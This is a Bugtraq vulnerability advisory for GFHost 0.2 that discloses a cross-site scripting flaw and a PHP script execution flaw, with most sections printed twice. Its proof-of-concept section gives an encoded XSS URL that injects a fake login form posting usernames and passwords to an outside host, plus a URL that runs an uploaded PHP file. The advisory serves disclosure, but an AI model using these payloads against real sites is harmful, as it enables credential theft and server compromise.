GFHost Cross-Site Scripting And Server-Side Script Execution Vulnerability
BID:11629
Info
GFHost Cross-Site Scripting And Server-Side Script Execution Vulnerability
| Bugtraq ID: | 11629 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 08 2004 12:00AM |
| Updated: | Nov 08 2004 12:00AM |
| Credit: | Lostmon <[email protected]> disclosed these vulnerabilities. |
| Vulnerable: |
Pablo Hernandez GFHost 0.2 |
| Not Vulnerable: | |
Discussion
GFHost Cross-Site Scripting And Server-Side Script Execution Vulnerability
It is reported that GFHost is susceptible to a cross-site scripting vulnerability, and a server-side script execution vulnerability. These issues are due to a failure of the application to properly sanitize user-supplied input.
The cross-site scripting issue could permit a remote attacker to cause hostile HTML or script code to be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
Ths script execution vulnerability reportedly allows remote attackers to execute arbitrary PHP script code in the context of the affected Web application.
It is reported that GFHost is susceptible to a cross-site scripting vulnerability, and a server-side script execution vulnerability. These issues are due to a failure of the application to properly sanitize user-supplied input.
The cross-site scripting issue could permit a remote attacker to cause hostile HTML or script code to be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
Ths script execution vulnerability reportedly allows remote attackers to execute arbitrary PHP script code in the context of the affected Web application.
Exploit / POC
GFHost Cross-Site Scripting And Server-Side Script Execution Vulnerability
An exploit is not required.
An example URI sufficient to exploit the cross-site scripting vulnerability:
http://www.example1.com/label.php?label=%3Cbody%3E%3Cform%20action=http://www.example2.com/save.php%20
method=post%3EUsername:%3Cinput%20name=username%20type=text%20maxlength=30%3E%3Cbr%3EPassword:
%3Cinput%20name=password%20type=text%20maxlength=30%3E%3Cbr%3E%3Cinput%20name=login%20type=
submit%20value=Login%3E%3C/form%3E%3C/body
An example URI sufficient to trigger the execution of a PHP script attachment:
http://www.example.com/dl.php?a=0.1&OUR_FILE=ff24404eeac528b&f=file.php
The following exploit reportedly spawns a shell type application facilitating access to the underlying system:
An exploit is not required.
An example URI sufficient to exploit the cross-site scripting vulnerability:
http://www.example1.com/label.php?label=%3Cbody%3E%3Cform%20action=http://www.example2.com/save.php%20
method=post%3EUsername:%3Cinput%20name=username%20type=text%20maxlength=30%3E%3Cbr%3EPassword:
%3Cinput%20name=password%20type=text%20maxlength=30%3E%3Cbr%3E%3Cinput%20name=login%20type=
submit%20value=Login%3E%3C/form%3E%3C/body
An example URI sufficient to trigger the execution of a PHP script attachment:
http://www.example.com/dl.php?a=0.1&OUR_FILE=ff24404eeac528b&f=file.php
The following exploit reportedly spawns a shell type application facilitating access to the underlying system:
Solution / Fix
GFHost Cross-Site Scripting And Server-Side Script Execution Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
GFHost Cross-Site Scripting And Server-Side Script Execution Vulnerability
References:
References:
- GFHost Home Page (Pablo Hernandez)
- Lostmon's Blog Page (Lostmon ([email protected]))